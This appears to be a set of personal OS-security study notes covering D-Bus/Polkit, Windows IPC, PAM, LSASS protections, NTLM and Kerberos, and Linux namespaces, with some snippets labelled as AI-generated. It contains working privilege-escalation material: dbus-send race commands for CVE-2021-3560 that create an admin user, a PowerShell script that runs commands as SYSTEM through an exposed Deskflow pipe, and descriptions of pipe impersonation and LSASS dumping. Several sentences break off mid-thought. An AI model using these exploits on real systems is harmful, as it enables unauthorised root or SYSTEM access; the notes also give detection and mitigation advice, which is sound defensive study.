The security is based mostly on the bus policies and on the identification of the calling process. The D-Bus policy is defined in XML files:
// on Debian-based OS it won't be here
$ cat /run/current-system/sw/share/dbus-1/services/org.kde.plasma.Notifications.service
[D-BUS Service]
Name=org.freedesktop.Notifications
Exec=/nix/store/ma4gchq646mkkyh38a63kwfssgwhq7z6-plasma-workspace-6.5.6/bin/plasma_waitforname org.freedesktop.Notifications
In the case of our D-bus notify there is nothing special, but we could have a config like this one that limits it to one user:
// opus 4.8
<busconfig>
<policy user="root">
<allow own="org.example.Service"/>
<allow send_destination="org.example.Service"/>
</policy>
<policy context="default">
<deny send_destination="org.example.Service"/>
</policy>
</busconfig>
A D-Bus service must still keep its own authorization logic. The fact that a method is technically reachable does not mean it should be callable by every user. This is exactly the environment where we meet Polkit. Polkit, formerly called PolicyKit, provides an authorization mechanism that lets privileged services ask if an operation should be allowed for a given user.
Signals
The signal is maybe the most trivial IPC method. A signal basically carries the notification of an event. Its content is very limited, even if Linux provides real-time signals with mechanisms to carry an extra value.
Well-known signals are SIGTERM, SIGKILL, SIGINT and SIGHUP. This is what the kill command uses in Linux:
$ ./server &
[1] 68495
$ ps -ef | grep server
nohor 68495 28583 0 17:17 pts/0 00:00:00 ./server
nohor 68541 28583 0 17:17 pts/0 00:00:00 grep server
$ kill 68495
[1]+ Terminated ./server
Of course the system policy is respected:
$ sudo ./server &
[1] 68495
$ ps -ef | grep server
root 69024 28583 0 17:18 pts/0 00:00:00 /nix/store/9cpfz1k5zd4iz6ri11ndxcrym2566v9a-sudo-1.9.17p2/bin/sudo ./server
$ kill 69024
$ ps -ef | grep server
root 69024 28583 0 17:18 pts/0 00:00:00 /nix/store/9cpfz1k5zd4iz6ri11ndxcrym2566v9a-sudo-1.9.17p2/bin/sudo ./server
A process has receiving mechanisms predefined by the system (nothing to handle in the code for a SIGTERM, even if in theory we could listen to them and handle them).
Windows IPC: named pipes, ALPC, RPC, COM
Named pipes
Named pipes are roughly the equivalent of sockets on Linux. An endpoint can be exposed as a path:
A server creates an endpoint and waits for clients. The main difference is in the Windows architecture and in the security mechanisms used around the system objects.
Windows applies security descriptors to objects. These descriptors decide which accounts or groups can do certain operations:
// opus 4.8
// a security descriptor that only allows the administrators and SYSTEM
using System;
using System.IO.Pipes;
using System.Security.AccessControl;
using System.Security.Principal;
var security = new PipeSecurity();
security.AddAccessRule(new PipeAccessRule(
new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null),
PipeAccessRights.FullControl,
AccessControlType.Allow));
security.AddAccessRule(new PipeAccessRule(
new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null),
PipeAccessRights.FullControl,
AccessControlType.Allow));
security.AddAccessRule(new PipeAccessRule(
new SecurityIdentifier(WellKnownSidType.WorldSid, null),
PipeAccessRights.ReadWrite,
AccessControlType.Deny));
using var server = new NamedPipeServerStream(
"ExampleService",
PipeDirection.InOut,
1,
PipeTransmissionMode.Byte,
PipeOptions.None,
0,
0,
security);
server.WaitForConnection();
ALPC
Unlike named pipes, Asynchronous Local Procedure Call is usually not a technology that developers use directly in normal applications. It is deeply integrated into the internal architecture of Windows.
"When a program calls an RPC method on lsass, the local RPC runtime uses ALPC as transport. These ports are visible in the object manager namespace under \RPC Control. With a tool like WinObj (Sysinternals), you can see entries of type Port or ALPC Port in \RPC Control. For example, \RPC Control\lsass or similar names. You can also use RpcView to list the RPC interfaces and see that they are served through ALPC." opus 4.8
RPC
RPC, or Remote Procedure Call, provides an abstraction that lets a process call a function exposed by another process as if it was, conceptually, a procedure call. RPC can be used for remote communications over a network but also for local communications.
The point of RPC is exactly to hide part of the complexity of the communication. The developer works with an interface made of methods and parameters instead of a simple byte stream.
RPC is used in Windows Server and Active Directory. For example, the SAMR, LSA, Netlogon protocols are RPC interfaces. If an administrator uses the net user /add /domain command from a member machine, the request is sent to the domain controller through SAMR, which is an RPC protocol.
COM
Component Object Model lets software components communicate through defined interfaces.
to summarize :
"Named pipes are a transport. They let you send a byte stream or messages between processes. It is the local equivalent of sockets. RPC is a communication abstraction. It lets you call remote procedures like local functions. RPC needs a transport: it can be named pipes, ALPC, TCP, etc. COM is a component model. It defines interfaces, the lifetime of objects, the marshalling. COM often uses RPC internally to make objects in different processes communicate. So named pipes is at the bottom (transport), RPC is in the middle (procedure call), COM is on top (objects and interfaces). You can use named pipes without RPC, and RPC without COM. COM can use RPC, which can use ALPC or named pipes." opus 4.8
Attacking IPC
Named-pipe impersonation
A privileged service connects to a named pipe controlled by the attacker, then it is the attacker (the pipe server) who calls ImpersonateNamedPipeClient() on this incoming connection. Be careful with the direction: it is not the service that impersonates, it is the pipe server that has the right to take the identity of the client that just connected to it. Since this client is the privileged service, the attacker gets its token.
The attacker must have the SeImpersonatePrivilege privilege (check it with "whoami /priv"). This is the case by default for the NETWORK SERVICE, LOCAL SERVICE accounts, and most of the IIS or MSSQL service accounts.
PrintSpoofer (https://github.com/itm4n/printspoofer) exploits the Print Spooler service:
- the attacker creates \.\pipe\hello
- calls RpcRemoteFindFirstPrinterChangeNotificationEx so the spooler connects
- then calls ImpersonateNamedPipeClient() on the incoming connection to capture the SYSTEM token
In reality the attacker does not force the spooler to impersonate, they only force it to connect to their pipe. The RPC method RpcRemoteFindFirstPrinterChangeNotificationEx takes as a parameter a print server to send the notifications to, and it can be called by anyone. By giving it a path that points to \\.\pipe\hello, we force the spooler (which runs as SYSTEM) to connect to our pipe. From there we are the server, so we are the ones calling ImpersonateNamedPipeClient() on this client, and we get its token.
We can do this with other services than the spooler. Seatbelt (https://github.com/GhostPack/Seatbelt) lets you enumerate the pipes and their ACL. A pipe with WD (World) in the DACL and an extended access is a candidate for exploitation.
Two terms here. The DACL (Discretionary Access Control List) is the list of rights attached to a Windows object (here the pipe): who can do what on it. It is often written in SDDL, a format where each account is a short code: WD = "Everyone", SY = SYSTEM, BA = the admins, etc. So "WD in the DACL" means any user has rights on the pipe. And by "extended access" we mean it does not only have the right to read, but to write / connect, which is what you need to talk to the pipe and trigger the impersonation. A pipe wide open like this is the perfect candidate.
About detection:
Sysmon Event ID 17 (Pipe Created) and Event ID 18 (Pipe Connected), followed by the call to ImpersonateNamedPipeClient and then the spawn of cmd.exe or powershell.exe as SYSTEM, is a way used by EDR to detect these techniques. An example of a Sigma rule that detects this pattern: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_priv_escalation_via_named_pipe.yml (and a good article about detection with Sysmon: https://labs.jumpsec.com/detecting-known-dll-hijacking-and-named-pipe-token-impersonation-attacks-with-sysmon/).
About the restrictions:
-
Remove SeImpersonatePrivilege from accounts that don't need it
-
Disable the Print Spooler on servers that are not print servers (it is a nest of problems)
-
Exposed pipes must have restrictive DACLs: only SYSTEM and the administrators should have FILE_ALL_ACCESS
D-Bus/Polkit authorization flaws
CVE-2021-3560 : D-Bus authentication bypass
-
The attacker sends a D-Bus message to "accounts-daemon" to create a user with sudo rights.
-
The message receives a unique ID from the bus.
-
The attacker kills the message after Polkit has received it but before it is processed.
-
The ID is destroyed.
-
Polkit asks the bus for the sender's UID by referencing the deleted ID.
-
The bus returns an error.
-
Polkit interprets the error as UID 0, so root.
-
The request is allowed.
The two commands call the accounts-daemon service through D-Bus. The first one (CreateUser) creates a new user, with int32:1 to say "administrator account" (so in the sudo group). The second one (SetPassword) sets a password on it (GoldenEye is the provided hash). Normally each of these actions asks for a Polkit authorization.
The whole trick is in the & sleep 0.008s ; kill $! stuck at the end: we run the command in the background, we wait 8 milliseconds, then we kill the dbus-send process. The goal is to kill the caller right after Polkit received the request, but before it finished checking who sent it. When Polkit then asks the bus for the sender's UID, the sender does not exist anymore → error → and because of the bug Polkit interprets this error as UID 0 = root. The 0.008s is luck and timing, we often run it again in a loop until we fall into the window.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User {uid of the account} org.freedesktop.Accounts.User.SetPassword string:{password of the account} string:GoldenEye & sleep 0.008s ; kill $!
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:{username} string:{userinfo} int32:1 & sleep 0.008s ; kill $! >/dev/null 2>&1
The fix (Polkit 0.119) exactly adds the check that was missing in polkit_system_bus_name_get_creds_sync: if the bus returns an error, we return an error instead of letting a UID 0 pass by default: https://gitlab.freedesktop.org/polkit/polkit/-/commit/a04d13affe0fa53ff618e07aa8f57f4c0e3b9b81
CVE-2021-4034 : PwnKit
A D-Bus service run as root exposes a setGrupPasswd() method. The Polkit check is based on the path of the calling executable, read through /proc/
https://ine.com/blog/exploiting-pwnkit-cve-2021-4034-techniques-and-defensive-measures
https://github.com/PwnFunction/CVE-2021-4034
CVE-2026-41651 : TOCTOU in PackageKit
PackageKit is the daemon (packagekitd, as root) that manages package installation on behalf of users, with Polkit behind it to decide who is allowed to do what. So we are exactly in the same world as Polkit and the TOCTOU seen just above.
The bug is a TOCTOU in PackageKit's transaction handler (file src/pk-transaction.c, versions 1.0.2 to 1.3.4, fixed in 1.3.5). The idea: the parameters of a transaction are checked by Polkit at one moment, but read again at execution time, and in between we can change them.
Concretely the attacker sends two D-Bus InstallFiles() calls asynchronously:
-
the first one with the SIMULATE flag. A simulation does not change anything, so Polkit lets it pass without authentication.
-
the second one with the real malicious package. Since PackageKit overwrites the cached parameters without re-checking the state of the transaction, this second call replaces the already-authorized parameters.
At dispatch time, PackageKit reads again the cached parameters (so the ones of the second call) while the transaction is still considered authorized → the attacker's package is installed as root, without ever asking for authentication.
The fix adds a guard: a method call is refused if the transaction is not in the NEW state, which prevents changing the parameters afterwards.
https://github.com/Vozec/CVE-2026-41651
Unauthenticated privileged endpoints
CVE-2026-41477 : Deskflow
In the category of the slightly dumb vulnerabilities linked to IPC:
The Deskflow daemon runs as SYSTEM and exposes a named pipe \\.\pipe\deskflow-daemon with WorldAccessOption (it asks Windows to create the pipe by adding the Everyone permission to the access list (DACL), (a shortcut used to solve the multi-user communication case: https://stackoverflow.com/questions/10719487/qlocalsocketconnecttoserver-failed-with-qlocalsocketsocketaccesserror-if-ser)).
Any local user can connect to it. The daemon processes the commands command=, elevate=, and start without any authentication or authorization.
param(
[ValidateSet("run", "stop")]
[string]$Action = "run",
[string]$Command = "calc.exe"
)
$p=New-Object System.IO.Pipes.NamedPipeClientStream(".","deskflow-daemon",[System.IO.Pipes.PipeDirection]::InOut)
$p.Connect(3000)
if($Action -eq "stop"){
$b1=[System.Text.Encoding]::ASCII.GetBytes("stop`n")
$b2=[System.Text.Encoding]::ASCII.GetBytes("command=`n")
$p.Write($b1,0,$b1.Length);Start-Sleep 0.5
$p.Write($b2,0,$b2.Length)
Write-Host "[+] Stopped" -F Green
}else{
$b1=[System.Text.Encoding]::ASCII.GetBytes("command=$Command`n")
$b2=[System.Text.Encoding]::ASCII.GetBytes("elevate=yes`n")
$b3=[System.Text.Encoding]::ASCII.GetBytes("start`n")
$b4=[System.Text.Encoding]::ASCII.GetBytes("command=`n")
$p.Write($b1,0,$b1.Length);Start-Sleep 0.5
$p.Write($b2,0,$b2.Length);Start-Sleep 0.5
$p.Write($b3,0,$b3.Length);Start-Sleep 2
$p.Write($b4,0,$b4.Length)
Write-Host "[+] Executed as SYSTEM: $Command" -F Green
}
$p.Close()
Authentication and Credentials
Proving an identity and storing the secrets that prove it.
Linux authentication
/etc/shadow & /etc/passwd (Linux)
In /etc/shadow the fields are separated by colons:
username:$6$6Y/fI1nx$zQJj6AH9asTNfh...3AZQF8v/:16092:0:99999:7:::
Username : "username"
Hash format : "$id$salt$hash"
Last change (epoch format) : 16092
Minimum days before you can change the password : 0
Maximum days before you must change the password: 99999
Warning : number of days before expiration when the user is warned (7)
Inactivity : number of days after the password expires (field 5) before the account is disabled (disabled here)
Account expiration : date when the account becomes unusable (disabled here)
Reserved : unused field (for future use)
One especially interesting field is $id, which tells the algorithm and can take other values such as:
The interaction between the two files is managed by PAM:
PAM and the auth stack (Linux)
Instead of each program implementing its own authentication logic, it delegates to Pluggable Authentication Modules (PAM).
The global configuration is available at:
We can have a specific configuration for each application that uses it:
$ls /etc/pam.d/
chfn cups groupmems login polkit-1 sddm su systemd-user usermod
chpasswd groupadd groupmod other runuser sddm-autologin sudo useradd vlock
chsh groupdel kde passwd runuser-l sddm-greeter systemd-run0 userdel xlock
- type: auth (checks the identity (password, smart card, biometrics)), account (checks the general permissions (expired account, time ranges)), password (manages the change of the authentication token (password)), session (sets up and manages the user session (logs, environment, limits))
control_flag: required (Must succeed; if it fails, the other modules of the same type are still run before returning failure), requisite (Must succeed; if it fails, return immediately without running the next modules), sufficient (If it succeeds, the authentication succeeds immediately (unless a later required fails)), optional (Result ignored unless it is the only module of its type)
$ cat /etc/pam.d/passwd
# Account management.
account required /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_unix.so # unix (order 10900)
# Authentication management.
auth sufficient /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_unix.so likeauth try_first_pass # unix (order 11600)
auth required /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_deny.so # deny (order 12400)
# Password management.
password sufficient /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_unix.so nullok yescrypt # unix (order 10200)
# Session management.
session required /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_env.so conffile=/etc/pam/environment readenv=0 # env (order 10100)
session required /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_unix.so # unix (order 10200)
session required /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/security/pam_limits.so conf=/nix/store/ddj3i3v02bkcld1ra9jkl4kaslnklr8f-limits.conf
Here for example, yescrypt is used for the password change (password management line).
About how PAM works (and its relation with /etc/passwd and shadow): example with an SSH connection:
-
PAM (through /etc/pam.d/sshd) is invoked and asks for the creds
-
PAM calls the pam_unix.so module.
-
pam_unix.so uses the calls of the NSS library (like getpwnam()) to find the user.
-
NSS reads /etc/nsswitch.conf and reads the /etc/passwd file to get the UID, the GID, the home directory and the shell.
-
To check the password, pam_unix.so needs the hash, so it uses a specific call (getspnam()) that reads the /etc/shadow file.
How do we secure an app with PAM, you may ask?
NixOS generates the config by itself from the configuration.nix file, where I just declared the new service:
$ cat /etc/pam.d/pam_example
# Account management.
account required /nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-l [...] # the same default conf than the one presented above
import ctypes
import pam.__internals as internals
import pam
import getpass
# As the lib not support NixOs by default i pass directly the libpam.so files
internals.libpam = ctypes.CDLL(
"/nix/store/q0y0prwvsj1vnxlzvk6wc8l93scq7pbp-linux-pam-1.7.1/lib/libpam.so.0",
mode=ctypes.RTLD_GLOBAL
)
def authenticate_user():
username = input("Username : ")
password = getpass.getpass("Password : ")
p = pam.pam()
if p.authenticate(username, password, service='pam_example'):
print(f"Auth sucess {username}.")
else:
print(f"Auth fail. Because : {p.reason} (code {p.code})")
authenticate_user()
$ python3 pam_example.py
Username : mynewuser
Password :
Auth sucess mynewuser.
$ python3 pam_example.py
Username : mynewuser
Password :
Auth fail. Because : Authentication failure (code 7)
CVE-2020-27780 PAM Bypass
A series of bad configurations on Arch and PAM caused CVE-2020-27780.
In the PAM config of Arch Linux (and others), we find this line:
auth [success=2 default=ignore] pam_unix.so try_first_pass nullok
nullok: allows a user to log in if their password is empty
It is used for tests and must never be put in production... Except that it was the case here
Also, in May 2020, an update of the filesystem package on Arch Linux changed the /etc/shadow file from:
The * means "locked account" (no usable password). But if the administrator does not merge the .pacnew file generated by the update, their local /etc/shadow stays with "root::", that is root with an empty password.
And bad luck: "To avoid a timing attack (an attacker who measures the response time to guess if a user exists), the code of pam_unix.so was changed: when a user does not exist, the module still tries to check the password against the root account so the processing time is the same" opus 4.8
Example with the user "attacker" who does not exist on the system.
-
PAM asks pam_unix.so to check attacker.
-
The user attacker does not exist, so the module falls back to root.
-
root has an empty password in /etc/shadow.
-
The nullok option allows empty passwords.
Pamtester lets you test the pam configuration. We will use it to simulate an application that would use pam in our vulnerable version (https://pamtester.sourceforge.net/)
The syntax is pamtester <service> <user> <operation>. We ask to authenticate as "attacker" (who does not exist) and we leave the password empty (just enter):
It passes even though the account does not exist and we gave no password. What happened: pam_unix.so, not finding "attacker", falls back to root for the anti-timing; root has an empty password in the non-merged /etc/shadow; and nullok allows the empty password. The three combine and we are authenticated.
On an up-to-date system (shadow with "root:*" or without nullok), the same command returns:
Windows local authentication
SAM hash schemes (Windows)
SAM (Security Account Manager) holds the hashes of the local accounts. There are different formats:
LM Hash: based on DES, truncates the password to 14 characters, converted to uppercase. It is vulnerable to almost instant brute-force attacks.
NTLM Hash: MD4 of the password, giving a 16-byte value. This is the hash used by the NTLM, NTLMv2 and Kerberos protocols.
Extracting this SAM database needs SYSTEM privileges.
Windows logon process, LSASS and authentication packages
-
Secure Attention Sequence: the user presses Ctrl+Alt+Del (to prevent spoofing of the login screen).
-
Winlogon shows the login interface: it creates a unique session SID and passes it to LSASS through LsaLogonUser.
-
Local Security Authority Subsystem Service (LSASS): Winlogon calls LsaLookupAuthenticationPackage to get a handle to an "authentication package".
An auth package is concretely a DLL loaded by LSASS that implements the authentication policy. Windows uses two standard packages for interactive logons:
-
%SystemRoot%\System32\Msv1_0.dll: the default package on standalone systems. It implements the LAN Manager 2 protocol. It takes the username and a hash of the password, queries the SAM, checks the account restrictions, compares the hashes and generates a LUID (Locally Unique Identifier) for the session.
-
%SystemRoot%\System32\Kerberos.dll: used on computers that are members of a Windows domain. It works with the Kerberos services of the domain controller and is based on RFC 1510.
Note that in this process LSASS will use and update a cache of the credentials.
There was even a time when it kept the passwords (in clear text) in its cache. Same for WDigest ("introduced at the time of Windows 2003 to support HTTP Digest and SASL authentication"), which needed the clear-text password (a challenge-based auth system). The clear-text cache has been disabled by default since Windows 8.1 and Server 2012.
MITRE T1547.002
The list of authentication policies is available in "HKLM\SYSTEM\CurrentControlSet\Control\Lsa", the Authentication Packages key holds the list of DLLs to load.
One of the techniques used by attackers is to add a reference to a malicious DLL in this registry key. The DLL will be loaded by LSASS at every startup, running with SYSTEM privileges.
Of course this already needs huge privileges; it is used for persistence (or to get even more creds when future users log in).
Quick note on the names: the LSA (Local Security Authority) is the authority that carries the security policy (who can log in, what a token looks like, etc.), and LSASS is just the process that hosts and runs the LSA. So LSA is the logic, LSASS is the process.
Besides the cached credentials, LSASS also holds the LSA secrets: local secrets like service account passwords and the machine account password, stored in the registry under HKLM\SECURITY\Policy\Secrets and readable with SYSTEM privileges.
Windows credential protection
We saw that LSASS runs as SYSTEM and keeps live secrets in its memory: NTLM hashes, Kerberos tickets, and at some point even clear-text passwords. We also saw that with SeDebugPrivilege we can just dump this memory with mimikatz and read everything.
So the goal of the features below is simple: even when an attacker already has admin (or SYSTEM) on the machine, getting these secrets out of LSASS should be hard.
LSA protection (RunAsPPL)
LSA protection (RunAsPPL) turns LSASS into a protected process (a PPL, see just below). Once it is on, a normal process, even one running as admin, cannot open LSASS to read its memory. So a plain mimikatz or a plain dump of lsass.exe fails.
You configure it with a registry key:
Protected Process Light
We already met PPL in Windows autorisation flow chapter: it is one of the object-specific controls the kernel checks after the DACL. So even if your token would normally be allowed to open the process, PPL can still say no.
PPL is the mechanism behind RunAsPPL, but it is used for more than LSASS.
Windows gives some processes a "protection level" based on who signed them. When a process is protected, even a process running as SYSTEM can only open it with very limited rights. You cannot read its memory, inject into it, or kill it like a normal process. To touch a PPL process, you need to be a PPL of an equal or higher level yourself, and that requires a Microsoft signature you don't have.
So the LSASS binary was signed by Microsoft, which allows enforcing PPL by activating the corresponding registry key.
Credential Guard
Instead of just protecting the LSASS process, Credential Guard moves the secrets out of it by using Virtualization-Based Security (VBS). VBS splits the machine into two worlds using the hypervisor:
-
the normal world (called VTL0), where the usual kernel, the drivers and all your programs run.
-
a secure world (called VTL1), where a small secure kernel runs.
VTL0 cannot read or write the memory of VTL1, even in ring 0. So even a full kernel compromise in the normal world cannot reach the secure world. This is where Credential Guard keeps its secrets.
The NTLM hashes and Kerberos tickets live in that isolated world, and the usual LSASS only talks to LSAIso through a small, controlled interface. So even if you dump the normal LSASS memory, you get almost nothing useful.
This can be configured with a group policy.
HVCI
Hypervisor-enforced Code Integrity uses the same hypervisor to check the kernel code. It makes sure that every page of code running in the kernel is signed, and that a kernel memory page can never be both writable and executable (this is the same W^X idea we saw for user memory, but enforced by the hypervisor this time). So even with a kernel bug, an attacker cannot just write their own code in the kernel and run it, nor load an unsigned driver.
This is not just used for credential protection, but as we will see, it's make the attack more difficulte.
LSASS dumping and PPL/Credential-Guard bypass
Against RunAsPPL: you cannot open LSASS from userland anymore, even as admin. But the kernel is above PPL. Therefore, a classic bypass consists of loading a signed but vulnerable driver (you need SeLoadDriverPrivilege), uses its bug to run code in the kernel, and from there either removes the "protected" flag on the LSASS process.
Tools like mimikatz's mimidrv can do this. This is called Bring Your Own Vulnerable Driver attack, but HVCI makes it harder: the vulnerable driver's own code still has to pass code integrity, so attacker must reuse existing pieces of code to control the driver's behavior.
Against Credential Guard: Attacker changes strategy and tries to catch the secret before it goes into the vault, or after it comes out:
-
register a malicious SSP / authentication package, so their code runs inside the logon flow and sees the clear-text password when the user types it.
-
keylogging, or hooking the parts of LSASS that still handle the input.
All of this requires much more advanced privileges than just SeDebugPrivilege.
Domain authentication protocols
First we present some auth protocols, sometimes with their vulnerability.
Then in a second time we will explain the vulnerabilities more precisely.
NTLM
NTLM is the challenge/response authentication protocol.
Versions:
-
LM (LAN Manager): legacy: weak hash (DES on 7-character blocks, uppercase only), trivially crackable today.
-
NTLMv1: uses the NT hash (MD4). 8-byte server challenge, response computed with DES from the NT hash. No protection against relay, sensitive to brute-force/rainbow table attacks once the hash is captured.
-
NTLMv2: the current version.
NTLMv2 in detail:
CLIENT -- NEGOTIATE_MESSAGE --> SERVER flags : shows the capabilities supported by the client (NTLMv2, Unicode, signing, sealing, etc.) so the server knows what to negotiate domain : name of the Windows domain the client claims to belong to (optional, often empty at this step) hostname : name of the client machine, used for logging and some server-side checks
CLIENT <-- NEGOTIATE_MESSAGE -- SERVER server nonce : random 8-byte value generated by the server, makes sure each exchange is unique and prevents replay of a previously captured response target info : structure holding the name of the target domain/server, used by the client to bind its response to this exact server and prevent relay to a different target
CLIENT : computes:
-
NTLMv2_Hash = HMAC_MD5(NT_Hash, User, Domain) : derives a hash specific to both the user and the domain from the NT hash of the password, so the same password does not give the same secret everywhere
-
Blob = (timestamp + client_nonce + target_info) : adds freshness (timestamp) and randomness (client nonce) to the authentication proof, which limits replay attacks and makes offline cracking harder than NTLMv1
-
NTProofStr = HMAC_MD5(NTLMv2_Hash, server_nonce, Blob) : combines the secret derived from the password with the server challenge and the blob, giving the final proof that the server (or the DC) can check without ever seeing the clear-text password
CLIENT -- username + domain + NTProofStr + Blob --> SERVER
Kerberos
"Kerberos is a ticket-based authentication protocol. Unlike NTLM, the client does not directly prove its knowledge of the password to the target server. It first gets from the KDC (Key Distribution Center) a ticket that allows access to a given service." opus 4.8
Key Distribution Center (KDC): exposes the AS and TGS features
Authentication Server (AS): first authenticates the user and delivers the Ticket Granting Ticket (TGT)
Ticket Granting Server (TGS): receives the TGT and delivers the tickets that allow access to the services.
CLIENT -- AS-REQ --> KDC (AS)
principal : id of the user (user@DOMAIN.LOCAL)
realm : Kerberos domain the user belongs to
nonce : random value to match the response with the request
timestamp : current time of the client
At this point nothing in this request proves that the client knows the password. So Kerberos adds a pre-authentication field:
pa-data (PA-ENC-TIMESTAMP) : timestamp encrypted with Kclient (key derived from the hash of the user's password)
What does the KDC do?
Decrypts PA-ENC-TIMESTAMP with Kclient and checks that the timestamp is recent (anti-replay).
and prepares the response.
CLIENT <-- AS-REQ -- KDC (AS)
TGT (unreadable by the client) : encrypted with Krbtgt (secret key of the krbtgt account, known only by the KDC) contains: client principal, realm, session key (client<->TGS), validity, flags
+
session key : contains the current session, the nonce and the timestamp; this part is encrypted with Kclient (derived from the user's password)
The client only decrypts the second part to get the session key; the TGT itself stays opaque, the client just carries it and presents it again later.
CLIENT -- TGS-REQ --> KDC (TGS)
TGT + session key
authenticator : timestamp encrypted with the session key; it proves to the TGS that the client has this session key
service principal : SPN of the targeted service
nonce : new nonce for the response
CLIENT <-- TGS-REP -- KDC (TGS)
Service ticket (unreadable by the client) : encrypted with Kservice (secret key of the service account) contains: client principal, service SPN, session key (client<->service), validity, flags
+
Part encrypted with the session key (client<->TGS) : contains the session key (client<->service), the nonce, the timestamp and maybe the flags. The client decrypts this part to get the service session key; the service ticket stays opaque.
CLIENT -- Service ticket + authenticator --> SERVER
AP-REQ:
- Service ticket : encrypted with Kservice, the server can decrypt it.
- authenticator : timestamp (and maybe principal, realm, sequence number, subkey) encrypted with the session key (client<->service). It proves to the server that the client really has this session key and limits replay.
CLIENT <-- AP-REP -- SERVER
AP-REP : optional response from the server (often for mutual authentication) containing a timestamp derived from the authenticator (e.g. timestamp + 1) encrypted with the session key (client<->service) or the subkey. This way the client checks that the server really has the session key.
So to sum up, the client authenticates through the KDC's AS, then in a second step it asks the KDC for tickets for each of the services it wants to use. The service itself (SERVER in the diagram) does not need to contact the KDC, it can check locally if the ticket given by the client is valid (the service ticket is encrypted with the service's secret key).
Attacking domain authentication
AS-REP Roasting demo
Concept demo without having to run an AD stack:
# opus 4.8
# human comment
from cryptography.fernet import Fernet
import hashlib
import base64
def derive_key_from_password(password):
password_hash = hashlib.sha256(password.encode()).digest()
return base64.urlsafe_b64encode(password_hash)
# User data stored in the client and the TGS
users = {
"alice@DOMAIN.LOCAL": {
"password": "Winter2026!",
"dont_require_preauth": True
}
}
# Attacker side : create a AS-REP without knowning the password of the account
principal = "alice@DOMAIN.LOCAL"
# AS-REQ without PA-ENC-TIMESTAMP
as_req = {
"principal": principal,
"realm": "DOMAIN.LOCAL"
}
user = "alice@DOMAIN.LOCAL"
# Server side -----------
session_key_client_tgs = Fernet.generate_key()
# AS : create encrypted part of the AS-REP
as_rep_encrypted_part = Fernet(
derive_key_from_password(user["password"])
).encrypt(
str({
"principal": principal,
"session_key": session_key_client_tgs.decode()
}).encode()
)
as_rep = {
"principal": principal,
"encrypted_part": as_rep_encrypted_part
}
print(as_rep)
$ python3 demo.py
{'principal': 'alice@DOMAIN.LOCAL', 'encrypted_part': b'gAAAAABqq9pboLpt19z6gBpRDJhUtZ4WHDUcWymUUaMWK-E78XQYYBHLbzMV3Zu1NTpuzxexpwbDKu8Q38yOgNjKZCV0F8RHUEKIGv94vpn4u2jtv6v9BKQAnYJRXGVbpECFBNcmzGwau0hq8x1BdP_jCfliwyImCHHVV63rsel601s7I77qGtefuzrVN-CMiotT99DZeV13mNf8X6saeOjXdy2e0j4DJQ=='}
Breaking the encryption:
captured_as_rep = "gAAAAABqq9pboLpt19z6gBpRD [...]"
password_candidates = [
"Password123!",
"Winter2026!",
"Welcome123!",
]
for password_candidate in password_candidates:
candidate_key = derive_key_from_password(password_candidate)
try:
decrypted_as_rep = Fernet(candidate_key).decrypt(captured_as_rep)
print(password_candidate)
break
except Exception:
pass
Confinement and Sandboxing
The Linux kernel provides several confinement mechanisms that complete each other.
Namespaces
Namespaces virtualize system resources: For example the mnt namespace isolates the view of the file system, the pid namespace prevents a process from seeing the other processes of the host, the net namespace isolates the interfaces and the routing tables, and the user namespace allows a non-privileged user to act as root inside the namespace without being root on the host etc...
Concretely each process points to a set of namespaces (mnt, pid, net, user, uts, ipc, cgroup, time). The kernel exposes these links in /proc/
Docker, Podman and LXC only orchestrate these calls, with the cgroups on top.
Observe the namespaces :
ls -l /proc/self/ns
total 0
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 ipc -> 'ipc:[4026531839]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 mnt -> 'mnt:[4026531841]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 net -> 'net:[4026531840]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 pid -> 'pid:[4026531836]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 pid_for_children -> 'pid:[4026531836]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 time -> 'time:[4026531834]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 time_for_children -> 'time:[4026531834]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 user -> 'user:[4026531837]'
lrwxrwxrwx 1 nohor users 0 sept. 24 18:24 uts -> 'uts:[4026531838]'
Here we can observe the namespaces of the "ls" process (because we are in /self/).
Create your own pid namespace :
$ sudo unshare --pid --fork --mount-proc bash
# echo $$
1
# ps
PID TTY TIME CMD
1 pts/1 00:00:00 bash
156 pts/1 00:00:00 ps
So outside of this case, the reason why we can see all the other processes with "ps" by default is that it shares the same pid namespace.
User namespace :
$ unshare --user --map-root-user bash
# touch /etc/test
touch: cannot touch '/etc/test': Permission denied
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
So we can almost create a container ourselves :
$ sudo unshare --pid --fork --mount --net --uts --ipc --mount-proc bash
# hostname dockeristonormie
# ps
PID TTY TIME CMD
1 pts/1 00:00:00 bash
158 pts/1 00:00:00 ps
# ip a
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
